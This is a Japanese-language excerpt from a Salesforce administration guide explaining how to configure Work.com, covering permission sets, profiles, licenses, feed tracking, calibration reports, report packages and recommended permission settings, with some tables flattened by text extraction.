推奨される Work.com 権限セット
Work.com 権限セットの割り当て
推奨される Work.com プロファイル
Work.com プロファイルの割り当て
Work.com ライセンスの種類

Work.com 権限セットの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットを割り当てる
• 「権限セットの割り当

て」

[設定] で Work.com アクセス権のある権限セットをユーザに割り当てます。
権限セットをユーザに割り当てる前に、Work.com アクセス権のある権限セット
を作成する必要があります。詳細は、「推奨される Work.com 権限セット」を参
照してください。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザを選択します。
3. [権限セットの割り当て] 関連リストで、[割り当ての編集]をクリックします。
4. 権限セットを割り当てるには、[選択可能な権限セット] ボックスから権限セッ

トを選択して [追加]をクリックします。権限セットの割り当てを削除するに
は、[有効な権限セット] ボックスから権限セットを選択して [削除] をクリッ
クします。

メモ: 権限の中には、権限を付与する前に、ユーザが権限セットライセ
ンスを所有していることが要求されるものがあります。たとえば、
「Identity Connect を使用」ユーザ権限を「Identity」権限セットに追加する
場合は、Identity Connect 権限セットライセンスを持つユーザのみを権限
セットに割り当てることができます。

5. [保存] をクリックします。
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Work.com プロファイルの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルを割り当て
る
• 「ユーザの管理」

[設定] で Work.com アクセス権のあるプロファイルをユーザに割り当てます。
プロファイルをユーザに割り当てる前に、Work.com アクセス権のあるプロファ
イルを作成する必要があります。詳細は、「推奨されるWork.comプロファイル」
を参照してください。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザの横にある [編集] をクリックします。
3. [プロファイル] ドロップダウンリストから、割り当てるプロファイルを選択

します。
4. [保存] をクリックします

Work.com ライセンスの種類

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

権限セットまたはプロファイルを使用して Work.com 機能へのアクセスを許可し
た後、ユーザに Work.com ライセンスを割り当てます。
Work.com には 2 種類のライセンスがあります。
• Work.com 限定ユーザライセンスは、Salesforce ライセンスがなく、組織で

Work.com 機能のみを使用するユーザを対象とします。

メモ: Work.com 限定ユーザライセンスは、システム管理者の機能が制限
されています。パフォーマンスサマリーサイクルまたは他のWork.com機
能を管理するユーザには、代わりにWork.comユーザ機能ライセンスを割
り当てます。

• Work.com ユーザ機能ライセンスは、Salesforce ラインセンスも所有するユーザ
を対象とします。

ライセンスをすべてのユーザに割り当てる前に、Work.com 機能の設定が必要になることがあります。たとえ
ば、最初はライセンスを Work.com システム管理者に制限して、特定の機能がリリース日前に公開されるのを
避ける場合があります。

関連トピック:

Work.com 限定ユーザライセンスの割り当て
Work.com ユーザ機能ライセンスの割り当て
Work.com 機能の概要
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Work.com 限定ユーザライセンスの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザライセンスを割り
当てる
• 「ユーザの管理」

Work.com限定ユーザライセンスを、Salesforceライセンスがなく、Work.comのみを
使用するユーザに割り当てます。
Work.com限定ユーザライセンスは、システム管理者の機能が制限されています。
パフォーマンスサマリーサイクルまたは他の Work.com 機能を管理するユーザに
は、代わりに Work.com ユーザ機能ライセンスを割り当てます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザの横にある [編集] をクリックします。
3. [ユーザライセンス] ドロップダウンリストから、[Work.com 限定] を選択しま

す。
4. [保存] をクリックします

関連トピック:

Work.com ライセンスの種類
Work.com ユーザ機能ライセンスの割り当て

Work.com ユーザ機能ライセンスの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザ機能ライセンスを
割り当てる
• 「ユーザの管理」

Work.comユーザ機能ライセンスを、Salesforceライセンスも所有するユーザに割り
当てます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザの横にある [編集] をクリックします。
3. 右側の列で、[Work.com ユーザ] チェックボックスをオンにします。
4. [保存] をクリックします

関連トピック:

Work.com ライセンスの種類
Work.com 限定ユーザライセンスの割り当て
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Work.com 機能の設定

Work.com 機能の概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ほとんどのWork.com機能にはWork.comアドオンが必要ですが、Sales Cloud ユーザ
は一部のアドオンを無料で利用できます。
ユーザは Work.com なしでスキルおよび感謝機能 (報奨を除く) にアクセスできま
す。その他の機能には Work.com アドオンが必要です。

表 19 : Work.com で使用可能な機能
Work.com アドオンが必要機能

レコグニション: 感謝バッジの作成およ
び付与

レコグニション: 報奨バッジの作成およ
び付与

スキル: スキルの共有および支持

目標: 仕事の定義および追跡

コーチング: リアルタイムコーチングの
実施

フィードバック: フィードバックの提供

パフォーマンス: パフォーマンスデータ
の追跡

調整: パフォーマンスデータの視覚化お
よび変更

メモ: 組織で使用しているエディションに関係なく、Chatter を有効にすることをお勧めします。Work.com

の多くの機能は、Chatterフィードを使用してユーザへの通知ややりとりを行います。Chatterが有効である
ことを確認するには、[設定] から [クイック検索] ボックスに「Chatter 設定」と入力し、[Chatter 設定]

を選択して、Chatter 設定が有効になっていることを確認します。
[目標] や [フィードバック] などのさまざまなタブがWork.comアプリケーション内やユーザプロファイル上に表
示される場所をカスタマイズできます。[設定] から、[クイック検索] ボックスに「アプリケーション」と入力
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し、[アプリケーション]を選択して、目的のアプリケーションとサブタブアプリケーションを変更します。詳
細は、Salesforce ヘルプの「サブタブアプリケーションの管理」を参照してください。

関連トピック:

Work.com 実装の概要
感謝およびスキル機能
目標およびコーチング機能
パフォーマンスサマリーおよび調整機能
Work.com のレポートおよびダッシュボードの概要

感謝およびスキル機能

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

感謝およびスキル機能を設定するには、Chatterパブリッシャーで感謝を設定し、
パブリッシャーレイアウトをプロファイルに割り当てます。
感謝やレコグニションを設定する前に、目的の機能が有効になっていることを
確認します。[設定] から、[クイック検索] ボックスに「Work.com の設定」と入
力し、[Work.com の設定] を選択して、関連する設定を有効にします。
報奨の作成についての詳細は、Salesforce ヘルプの「報奨資金」を参照してくだ
さい。また、スキルのカスタマイズについての詳細は、「スキルのカスタマイ
ズ」を参照してください。

関連トピック:

Work.com 機能の概要
Chatter パブリッシャーと Salesforce1 アクションバーの感謝の設定
プロファイルへのパブリッシャーレイアウトの割り当て
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Chatter パブリッシャーと Salesforce1 アクションバーの感謝の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アクションを設定する
• 「アプリケーションの

カスタマイズ」

Chatter パブリッシャーと Salesforce1 アクションバー内の [感謝] アクションの位置
を変更したり、特定のプロファイルで非表示にしたりできます。
Chatter パブリッシャーを変更するには、パブリッシャーのアクションを有効に
する必要があります。
1. [設定] から、[クイック検索]ボックスに「Chatter 設定」と入力し、[Chatter

設定] を選択します。
2. [パブリッシャーのアクション] セクションで [パブリッシャーのアクションを

有効化] が選択されていることを確認します。有効ではない場合は、[編集]

をクリックして [パブリッシャーのアクションを有効化] を選択し、[保存] を
クリックします。

3. [設定] から、[クイック検索]ボックスに「パブリッシャーレイアウト」と入力
し、[パブリッシャーレイアウト] を選択します。

4. グローバルパブリッシャーレイアウトの横にある [編集]をクリックします。
5. [感謝] アクションを Chatter パブリッシャーまたは Salesforce1 アクションバー

で表示する場所にドラッグします。
6. [保存] をクリックします
プロファイルの表示設定を変更して、特定のユーザに対して感謝を非表示にすることもできます。

関連トピック:

感謝およびスキル機能
プロファイルへのパブリッシャーレイアウトの割り当て
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プロファイルへのパブリッシャーレイアウトの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

クイックアクションを設
定する
• 「アプリケーションの

カスタマイズ」

感謝が設定されたパブリッシャーレイアウトをユーザプロファイルに割り当て
ます。これらのプロファイルを使用するユーザは、パブリッシャーから直接同
僚に感謝することができます。
組織でこの機能を使用するユーザを限定する場合は、感謝が設定されていない
別のレイアウトを作成してプロファイルに割り当てます。このプロファイルを
使用するユーザは、各自のパブリッシャーに感謝が表示されません。
1. [設定] から、[クイック検索]ボックスに「パブリッシャーレイアウト」と入力

し、[パブリッシャーレイアウト] を選択します。
2. [パブリッシャーレイアウトの割り当て] をクリックします。
3. [割り当ての編集] をクリックします。
4. テーブルで該当する行の任意の場所をクリックし、ユーザプロファイルを選

択します。
5. [使用するパブリッシャーレイアウト] ドロップダウンから、強調表示したプ

ロファイルに割り当てるグローバルパブリッシャーレイアウトを選択しま
す。

6. レイアウトを保存します。

関連トピック:

感謝およびスキル機能
Chatter パブリッシャーと Salesforce1 アクションバーの感謝の設定

目標およびコーチング機能

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フィード追跡や履歴管理を有効にすると、目標やコーチングを詳しく追跡でき
ます。

メモ: 目標およびコーチング機能を設定する前に、組織で Chatter を有効化
します。

フィード追跡では、関連する変更の Chatter フィード更新がユーザに表示されま
す。履歴管理では、重要な項目の変更を追跡できます。目標、総計値、および
コーチングオブジェクトの変更を追跡することをお勧めします。
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主要な会社目標を明示して、全従業員が全社的な目標を認識できるようにします。

関連トピック:

Work.com 機能の概要
目標のフィード追跡の有効化
コーチングのフィード追跡の有効化
総計値のフィード追跡の有効化
目標項目の履歴管理の有効化
コーチング項目の履歴管理の有効化
総計値項目の履歴管理の有効化
主要な会社目標の設定

目標のフィード追跡の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フィードの項目追跡をカ
スタマイズする
• 「アプリケーションの

カスタマイズ」

目標の更新を追跡して、ユーザが重要な変更に関する通知を受信できるように
します。
どの目標の更新をユーザに通知するかを判断して、追跡する関連項目を選択し
ます。
1. [設定] から、[クイック検索] ボックスに「フィード追跡」と入力し、[フィー

ド追跡] を選択します。
2. 目標オブジェクトをクリックします。
3. [フィード追跡の有効化] チェックボックスをオンにします。
4. 追跡する項目を選択します。

ヒント: 目標の場合は、[完了日]、[期日]、[所有者氏名]、[進行状況]、[す
べての関連オブジェクト] を追跡すると役立ちます。

5. [保存] をクリックします。

関連トピック:

目標およびコーチング機能
コーチングのフィード追跡の有効化
目標項目の履歴管理の有効化
コーチング項目の履歴管理の有効化
主要な会社目標の設定
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コーチングのフィード追跡の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フィードの項目追跡をカ
スタマイズする
• 「アプリケーションの

カスタマイズ」

コーチングスペースの更新を追跡して、ユーザが重要な変更に関する通知を受
信できるようにします。
どのコーチングの更新をユーザに通知するかを判断して、追跡する関連項目を
選択します。
1. [設定] から、[クイック検索] ボックスに「フィード追跡」と入力し、[フィー

ド追跡] を選択します。
2. コーチングオブジェクトをクリックします。
3. [フィード追跡の有効化] チェックボックスをオンにします。
4. 追跡する項目を選択します。

ヒント: コーチングの場合は、[無効] と [すべての関連オブジェクト] を
追跡すると役立ちます。

5. [保存] をクリックします。

関連トピック:

目標およびコーチング機能
目標のフィード追跡の有効化
目標項目の履歴管理の有効化
コーチング項目の履歴管理の有効化
主要な会社目標の設定

総計値のフィード追跡の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フィードの項目追跡をカ
スタマイズする
• 「アプリケーションの

カスタマイズ」

目標の更新を追跡して、ユーザが重要な変更に関する通知を受信できるように
します。
どの総計値の更新をユーザに通知するかを判断して、追跡する関連項目を選択
します。
1. [設定] から、[クイック検索] ボックスに「フィード追跡」と入力し、[フィー

ド追跡] を選択します。
2. 総計値オブジェクトをクリックします。
3. [フィード追跡の有効化] チェックボックスをオンにします。
4. 追跡する項目を選択します。

ヒント: 総計値の場合は、[コメント]、[完了日]、[現在の値]、[期日]、[目
標]、[初期値]、[所有者氏名]、[状況]、[目標値]、[すべての関連オブジェ
クト] を追跡すると役立ちます。
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5. [保存] をクリックします。

関連トピック:

目標およびコーチング機能

目標項目の履歴管理の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

追跡する項目を設定する
• 「アプリケーションの

カスタマイズ」

監査の目的で目標オブジェクトへの変更を管理します。
[完了日]、[期日]、[所有者氏名]、[進行状況]、[開始日]、[状況]、[説明] の各項目
を追跡することをお勧めします。
1. 目標のオブジェクト管理設定から、項目領域に移動します。
2. [項目履歴管理の設定] をクリックします。
3. 追跡する項目を最大 20 件選択します。
4. [保存] をクリックします。

関連トピック:

目標およびコーチング機能
目標のフィード追跡の有効化
コーチングのフィード追跡の有効化
コーチング項目の履歴管理の有効化
主要な会社目標の設定
オブジェクト管理設定の検索

コーチング項目の履歴管理の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

追跡する項目を設定する
• 「アプリケーションの

カスタマイズ」

監査の目的でコーチングオブジェクトへの変更を管理します。
[コーチング]、[無効]、[所有者氏名]、[コーチングを受けているユーザ] の各項目
を管理することをお勧めします。
1. 目標のオブジェクト管理設定から、項目領域に移動します。
2. [項目履歴管理の設定] をクリックします。
3. 追跡する項目を最大 20 件選択します。
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4. [保存] をクリックします

関連トピック:

目標およびコーチング機能
目標のフィード追跡の有効化
コーチングのフィード追跡の有効化
目標項目の履歴管理の有効化
主要な会社目標の設定
オブジェクト管理設定の検索

総計値項目の履歴管理の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

追跡する項目を設定する
• 「アプリケーションの

カスタマイズ」

監査の目的で総計値オブジェクトへの変更を管理します。
[コメント]、[完了日]、[現在の値]、[期日]、[目標]、[初期値]、[所有者氏名]、[状
況]、[目標値]、[加重]、[説明] の各項目を追跡することをお勧めします。
1. 総計値のオブジェクト管理設定から、項目領域に移動します。
2. [項目履歴管理の設定] をクリックします。
3. 追跡する項目を最大 20 件選択します。
4. [保存] をクリックします。

関連トピック:

目標およびコーチング機能
オブジェクト管理設定の検索
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主要な会社目標の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

項目レベルセキュリティ
を設定する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

主要な会社目標の詳細ページから共有アクセスを許可すると、組織の全員が全
社的な目標を認識できます。Work.com 管理者およびアクセス権が付与されてい
るユーザは、主要な会社目標を作成できます。
または、権限セットを使用して項目レベルセキュリティを設定することもでき
ます。
1. 目標のオブジェクト管理設定から、項目領域に移動します。
2. [主要な会社目標] 項目表示ラベルをクリックします。
3. [項目レベルセキュリティの設定] をクリックします。
4. 目標へのアクセス権があるすべてのプロファイルの [参照可能]チェックボッ

クスがオンになっていることを確認します。
5. 主要な会社目標を作成可能なプロファイルの [参照のみ]チェックボックスが

オンになっていないことを確認します。
6. [保存] をクリックします

関連トピック:

目標およびコーチング機能
目標のフィード追跡の有効化
コーチングのフィード追跡の有効化
目標項目の履歴管理の有効化
コーチング項目の履歴管理の有効化

パフォーマンスサマリーおよび調整機能

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織のパフォーマンス評価を比較および更新するには、調整レポートを設定し
ます。
Work.com パフォーマンスサマリーでは、カスタム質問表を使用して組織内の人
についてのフィードバックを収集します。パフォーマンスサマリーサイクルを
管理して、組織全体のさまざまなパフォーマンスサマリーを作成、リリース、
および共有できます。ユーザがパフォーマンスサマリー詳細を送信すると、調
整機能を使用して、組織全体のパフォーマンスの評価を表示および更新するこ
とができます。
パフォーマンスサマリーサイクルは、[パフォーマンスサイクル]タブで作成およ
びリリースします。パフォーマンスサイクルマネージャの権限セットまたはプ
ロファイルのあるユーザは、[パフォーマンスサイクル] タブにアクセスできま
す。
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パフォーマンスサマリーサイクルの作成およびリリースについての詳細は、Salesforceヘルプの「パフォーマン
スサマリーサイクルの概要」を参照してください。調整機能についての詳細は、「調整の概要」を参照してく
ださい。

関連トピック:

Work.com 機能の概要
調整レポートの設定

調整レポートの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[調整] タブを参照する
• 「Work.com 調整の有

効化」

調整レポートには、パフォーマンスサマリーサイクルのデータが入力されます。
このレポートは、マネージャおよび役員がチームまたは組織の全体的なパフォー
マンスを確認するために設計されています。調整機能を使用する前に、パフォー
マンスサマリーデータを読み込むレポートを作成する必要があります。
独自の調整レポートを定義するか、[パッケージのインストール] ページから調整
レポートパッケージをダウンロードします。
• 本番用調整レポートパッケージ
• Sandbox 用調整レポートパッケージ
1. [調整] タブで、ドロップダウンリストから調整レポートを選択します。
2. [レポートを表示/編集] をクリックします。
3. [別名で保存] をクリックします。
4. 名前、説明 (省略可能)、一意の名前を入力し、レポートフォルダを指定しま

す。
レポートが公開フォルダに保存された場合、フォルダの参照権限があるユー
ザすべてにこのレポートは表示されますが、各ユーザに表示されるのは、ア
クセス権があるパフォーマンスサマリーのみです。レポートが [私の非公開カスタムレポート] に保存され
た場合、本人のみが調整レポートを表示できます。

5. [保存してレポートに戻る] をクリックします。

ヒント: 新規レポートを作成することもできます。レポートが特定の条件を満たすと、自動的に [調整]

ドロップダウンリストに表示されます。
• レポートは、[Work.com 調整] レポートタイプである必要があります。
• レポートは[サマリーの形式]であり、フィードバック質問名でグループ化された後、さらにフィー

ドバックでグループ化されている必要があります。
• レコードには次の列が表示される必要があります。

– パフォーマンスサイクル ID

– フィードバック要求 ID

– フィードバック ID

– 件名: ユーザ ID

– 件名: フルネーム (または「件名: 名」と「件名: 姓」)
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• レポートは、1 つのパフォーマンスサマリーサイクルのみが表示されるように絞り込まれている必
要があります。

パッケージをダウンロードするか、条件を満たすレポートを作成すると、自動的に [調整] ドロップダウンに表
示されます。

関連トピック:

パフォーマンスサマリーおよび調整機能

Work.com レポートの設定

Work.com のレポートおよびダッシュボードの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レポートおよびダッシュボードを使用して、組織における Work.com 機能の使用
状況を確認します。
Salesforce のレポートおよびダッシュボードは、すべての Work.com ユーザが使用
できます。システム管理者は、各自のWork.comエディションに適用されるレポー
トパッケージをインストールします。Work.com のレポートパッケージには、次
の内容が含まれます。
• Work.com オブジェクトのカスタムレポートタイプ
• Work.com オブジェクトのカスタム項目
• ダッシュボードの例
購入した Work.com エディションに基づいて、次のいずれかのパッケージをイン
ストールします。たとえば、組織で Work.com Align を所有している場合は、Align

パッケージのみをインストールします。製品の契約書で、所有している Work.com エディションを確認してく
ださい。

メモ:

• パッケージをインストールする前に、使用するWork.comエディションに関連する機能が有効化されて
いることを確認します。事前に機能が有効化されている場合にのみ、パッケージは正しくインストー
ルされます。

• Spring '15 リリースより後で Work.com を購入した場合は、Work.com Perform パッケージをインストールし
ます。

• パッケージをすべてインストールことはできず、その必要もありません。

本番パッケージ:

• Work.com Motivate

• Work.com Align

• Work.com Perform

• 感謝とスキルのレポートおよびダッシュボード
Sandbox パッケージ:
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• Work.com Motivate

• Work.com Align

• Work.com Perform

• 感謝とスキルのレポートおよびダッシュボード

関連トピック:

Work.com 実装の概要
Work.com 機能の概要
Work.com のレポートおよびダッシュボードの詳細

Work.com のレポートおよびダッシュボードの詳細

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Work.com のレポートおよびダッシュボードは、レポートパッケージに含まれ、
開始ポイントとして適しています。次の例を参考に、組織にとって有益なレポー
トおよびダッシュボードを作成します。

Work.com Perform パッケージのレポート
Work.com Perform パッケージをインストールすると、次のレポートを使用できま
す。Work.com のレポートは、機能別のフォルダにまとめられています。
• Work.com コーチングレポート
• Work.com 目標レポート
• Work.com パフォーマンスサマリーレポート
• Work.com レコグニションレポート
• Work.com スキルレポート

表 20 : Work.com コーチングレポート
説明レポート名

コーチングスペースに関連付けられた ToDo と行動コーチング活動 (ToDo と行動)

チームの過去 30 日間のコーチング活動コーチング活動チーム - 過去 30 日間

部門別に並び替えられた過去 30 日間のコーチング活
動

コーチング活動 - 過去 30 日間

部門別のコーチングスペースがあるユーザの割合コーチングカバー率レポート

コーチングスペースに関連付けられた行動コーチング行動 (リレーション別)

組織内でのすべてのコーチングスペースコーチングリレーション
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表 21 : Work.com 目標レポート
説明レポート名

組織内でのすべての目標すべての目標

組織内でのすべての総計値すべての総計値

作成日で並び替えられた目標目標 (作成日別)

主要な会社目標、状況、および他の詳細主要な会社目標の進行状況

状況が遅延または重大の総計値遅延または重大のフラグが付いた総計値

30 日間変更されなかった目標不活発な目標

チームの目標とその進行状況Work.com チーム目標の進行状況

表 22 : Work.com パフォーマンスサマリーレポート
説明レポート名

組織内のマネージャがいるすべての有効なユーザマネージャがいるすべての有効なユーザ

パフォーマンスサマリーで尋ねられるマネージャの質
問

マネージャの質問 - X

パフォーマンスサイクル活動を追跡するためのサンプ
ルレポート

質問別のパフォーマンス回答 - Q1

パフォーマンスサイクル活動を追跡するためのサンプ
ルレポート

質問別のパフォーマンス回答 - Q3

部門別にグループ化されたパフォーマンスサマリーパフォーマンスサマリー (部門別)

パフォーマンスサイクル活動を追跡するためのサンプ
ルレポート

回答を含むパフォーマンスサマリー - Q1

パフォーマンスサイクル活動を追跡するためのサンプ
ルレポート

回答を含むパフォーマンスサマリー - Q3

異なるパフォーマンスサマリーにわたる要求の状況パフォーマンスサマリーサイクル状況の更新

セルフサマリーで尋ねられる質問セルフサマリーの質問 - X

パフォーマンスサイクルあたりの参加者の割合サマリーサイクルの詳細

パフォーマンスサイクルあたりの送信済み要求の割合サマリーサイクルの詳細 - 送信済み

表 23 : Work.com レコグニションレポート
説明レポート名

付与された感謝バッジ数を各バッジの付与日別に分類付与されたバッジ数 - 付与日別
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説明レポート名

付与された感謝バッジを個々のバッジおよびバッジ付
与者の役割別に分類

付与されたバッジの詳細

受け取ったバッジを個々のバッジおよびバッジ受領者
の役割別に分類

受け取ったバッジの詳細

各報奨資金の配布額付与された報奨資金

各報奨資金の残額残りの報奨資金

各ユーザ別の付与された感謝バッジ数感謝数 (付与者別)

各ユーザ別の受領した感謝バッジ数付与された感謝数 - 受領者データ

各役割別の受け取った感謝バッジ数受け取った感謝数 (役割別)

表 24 : Work.com スキルレポート
説明レポート名

スキルの支持が最も高いユーザ最も支持されたユーザ

関連するスキルレコードが最も多いユーザスキルが最も高いユーザ

作成日で並び替えられたスキル新規スキル (作成日別)

作成日で並び替えられた支持スキルの支持 (日付別)

各種ユーザプロファイルに関連付けられた日付で並び
替えられたスキル

プロファイルに追加されたスキル (日付別)

スキルを持つユーザ数で並び替えられたスキルトップスキル

Work.com Perform パッケージのダッシュボード
Work.com Perform パッケージをインストールすると、次のダッシュボードを使用できます。
• Work.com コーチングダッシュボード
• Work.com パフォーマンスサマリーダッシュボード
• Work.com レコグニションダッシュボード
• Work.com スキルダッシュボード

表 25 : Work.com コーチングダッシュボード
説明レポート名

会社全体のコーチングカバー率と活動を表示します会社コーチングダッシュボード

主要な会社目標と作成された目標数を表示します会社目標ダッシュボード

チームに関係するコーチングと目標を表示しますマネージャコーチングダッシュボード
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表 26 : Work.com パフォーマンスサマリーダッシュボード
説明レポート名

参加者、質問、および特定のパフォーマンスサイクル
の進行状況に関する統計情報を表示します

パフォーマンスサイクルダッシュボード

表 27 : Work.com レコグニションダッシュボード
説明レポート名

バッジの統計と、バッジを付与および受領するユーザ
を表示します

レコグニションダッシュボード

バッジおよび報奨の統計と、バッジを付与および受領
するユーザを表示します

報奨付きレコグニションダッシュボード

表 28 : Work.com スキルダッシュボード
説明レポート名

組織のスキルの統計を表示しますスキルダッシュボード

関連トピック:

Work.com のレポートおよびダッシュボードの概要

推奨される Work.com 権限セット
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Work.com ユーザの種別ごとに異なる権限セットを作成します。
Work.com ユーザの種別ごとに新しい権限セットを作成します。

段階的な手順: 権限セットを作成、編集、割り当てる
次の表を参考にして、各権限セットに適切なオブジェクト設定およびシステム
権限を割り当てます。

標準ユーザ
標準ユーザの権限セットは、ユーザに Work.com の基本的な全機能の使用を許可
します。
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表 29 : 標準ユーザのオブジェクト設定
すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

選択可能
参照可能

バッジ (タブ)

コーチング (オブジェク
ト)

選択可能
参照可能

コーチング (タブ)

ドキュメント

支持

フィードバック (オブ
ジェクト)

フィードバック質問

フィードバック質問セッ
ト

選択可能
参照可能

フィードバック要求
(および [フィードバック]

タブ)

目標リンク

目標 (オブジェクト)

目標 ([完了日] 項目)

目標 ([主要な会社目標] 項
目)

選択可能
参照可能

目標 (タブ)

総計値データリンク

総計値
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すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

選択可能
参照可能

パフォーマンスサイクル

選択可能
参照可能

レコグニション (タブ)

選択可能
参照可能

報奨資金

選択可能
参照可能

報奨資金種別

報奨

選択可能
参照可能

スキル

スキルユーザ

表 30 : 標準ユーザのシステム権限
有効システム権限

API の有効化

行動の編集

ToDo の編集

パフォーマンスサイクルマネージャ
パフォーマンスサイクルマネージャの権限セットは通常、パフォーマンスサマリーを作成して従業員にリリー
スする場合に使用します。

メモ: この権限セットは、標準ユーザの権限セットがあるユーザに割り当てます。
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表 31 : パフォーマンスサイクルマネージャのオブジェクト設定
すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

選択可能
参照可能

調整 (タブ)

フィードバック (オブ
ジェクト)

フィードバック質問

フィードバック質問セッ
ト

選択可能
参照可能

フィードバック要求
(および [フィードバック]

タブ)

選択可能
参照可能

パフォーマンスサイクル

表 32 : パフォーマンスサイクルマネージャのシステム権限
有効システム権限

Work.com 調整の有効化

設定・定義を参照する

カスタムバッジ作成者
カスタムバッジ作成者の権限セットのあるユーザは、カスタムバッジを作成できます。

メモ:

• [カスタムバッジ作成者の制限] 設定が有効になっている場合は、ユーザが Reward オブジェクトの [作成]

も有効する必要があります。
• この権限セットは、標準ユーザの権限セットがあるユーザに割り当てます。
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表 33 : カスタムバッジ作成者のシステム権限
有効システム権限

カスタムバッジ定義の作成

Chatter のモデレート

報奨作成者
報奨作成者の権限セットは、バッジを具体的な報奨に関連付けることができるユーザが使用します。

メモ: この権限セットは、標準ユーザの権限セットがあるユーザに割り当てます。

表 34 : 報奨作成者のオブジェクト設定
すべての
データの
編集
(MAD)

すべての
データの参
照 (VAD)

削除編集作成参照オブジェクト名

報奨資金

報奨資金種別

報奨

表 35 : 報奨作成者のシステム権限
有効システム権限

カスタムバッジ定義の作成

Work.com 管理者
Work.com管理者の権限セットは、ユーザにWork.comのすべてのオブジェクトおよび機能への完全な管理者アク
セス権を付与します。この権限セットは、標準ユーザの権限セットがないユーザに割り当てます。

表 36 : 標準ユーザのオブジェクト設定
すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

選択可能
参照可能

バッジ (タブ)
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すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

選択可能
参照可能

調整 (タブ)

コーチング (オブジェク
ト)

選択可能
参照可能

コーチング (タブ)

ドキュメント

支持

フィードバック (オブ
ジェクト)

フィードバック質問

フィードバック質問セッ
ト

選択可能
参照可能

フィードバック要求
(および [フィードバック]

タブ)

目標リンク

目標 (オブジェクト)

目標 ([完了日] 項目)

目標 ([主要な会社目標] 項
目)

選択可能
参照可能

目標 (タブ)

総計値データリンク

総計値
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すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

選択可能
参照可能

パフォーマンスサイクル

選択可能
参照可能

レコグニション (タブ)

選択可能
参照可能

報奨資金

選択可能
参照可能

報奨資金種別

報奨

選択可能
参照可能

スキル

スキルユーザ

表 37 : Work.com 管理者のシステム権限
有効システム権限

API の有効化

カスタムバッジ定義の作成

行動の編集

ToDo の編集

